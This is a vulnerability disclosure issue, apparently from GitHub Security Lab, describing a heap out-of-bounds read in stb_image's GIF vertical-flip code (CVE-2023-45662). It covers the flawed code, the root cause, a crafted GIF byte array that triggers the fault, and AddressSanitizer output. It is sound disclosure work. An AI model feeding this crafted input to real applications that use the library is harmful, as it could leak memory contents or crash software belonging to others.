Multi-byte read heap buffer overflow in `stbi__vertical_flip` (`GHSL-2023-146/CVE-2023-45662`)
JarLob opened this issue · comments
When stbi_set_flip_vertically_on_load
is set to TRUE
and req_comp
is set to a number that doesn't match the real number of components per pixel, the library attempts to flip the image vertically.
stbi_set_flip_vertically_on_load(1);
stbi_uc *img = stbi_load_gif_from_memory(data, size, &delays, &x, &y, &z, &channels, 2);
A crafted image file can trigger memcpy [3] out-of-bounds read because bytes_per_pixel
[1] used to calculate bytes_per_row
[2] doesn't match the real image
array dimensions.
static void stbi__vertical_flip(void *image, int w, int h, int bytes_per_pixel /* [1] */)
{
int row;
size_t bytes_per_row = (size_t)w * bytes_per_pixel; // [2]
stbi_uc temp[2048];
stbi_uc *bytes = (stbi_uc *)image;
for (row = 0; row < (h>>1); row++) {
stbi_uc *row0 = bytes + row*bytes_per_row;
stbi_uc *row1 = bytes + (h - row - 1)*bytes_per_row;
// swap row0 with row1
size_t bytes_left = bytes_per_row;
while (bytes_left) {
size_t bytes_copy = (bytes_left < sizeof(temp)) ? bytes_left : sizeof(temp);
memcpy(temp, row0, bytes_copy);
memcpy(row0, row1, bytes_copy); // [3] OOB
memcpy(row1, temp, bytes_copy);
row0 += bytes_copy;
row1 += bytes_copy;
bytes_left -= bytes_copy;
}
}
}
The reason for this is that stbi_load_gif_from_memory
calls stbi__vertical_flip_slices
[5] with the number of bytes per pixel in the loaded image - comp
, however stbi__load_gif_main
[4] internally converts the image to requested number of bytes per pixel.
STBIDEF stbi_uc *stbi_load_gif_from_memory(stbi_uc const *buffer, int len, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
{
unsigned char *result;
stbi__context s;
stbi__start_mem(&s,buffer,len);
result = (unsigned char*) stbi__load_gif_main(&s, delays, x, y, z, comp, req_comp); // [4]
if (stbi__vertically_flip_on_load) {
stbi__vertical_flip_slices( result, *x, *y, *z, *comp ); // [5]
}
return result;
}
static void *stbi__load_gif_main(stbi__context *s, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
{
...
// do the final conversion after loading everything;
if (req_comp && req_comp != 4)
out = stbi__convert_format(out, 4, req_comp, layers * g.w, g.h);
Impact
This issue may be used to leak internal memory allocation information.
Resources
To reproduce the issue:
- Make ASAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"
int main(int argc, char* argv[])
{
const uint8_t data[] = {0x47,0x49,0x46,0x38,0x39,0x61,0xbd,0x00,0xdf,0x79,0xa9,0x97,
0x66,0x4f,0x4e,0x4c,0xda,0x21,0xf9,0x04,0x09,0x0a,0x00,0x1f,
0x00,0x2c};
size_t size = sizeof(data);
stbi_set_flip_vertically_on_load(1);
int x, y, z, channels;
stbi_uc *img = stbi_load_gif_from_memory(data, size, NULL, &x, &y, &z, &channels, 2);
stbi_image_free(img);
return 0;
}
- Run the program to hit the error.
==58950==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f5f9fe18b98 at pc 0x00000049db51 bp 0x7ffdf2aed0f0 sp 0x7ffdf2aec8c0
READ of size 756 at 0x7f5f9fe18b98 thread T0
#0 0x49db50 in __asan_memcpy /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
#1 0x4e2608 in stbi__vertical_flip(void*, int, int, int) tests/../stb_image.h:1235:10
#2 0x4dfaee in stbi__vertical_flip_slices(void*, int, int, int, int) tests/../stb_image.h:1252:7
#3 0x4dea9b in stbi_load_gif_from_memory tests/../stb_image.h:1450:7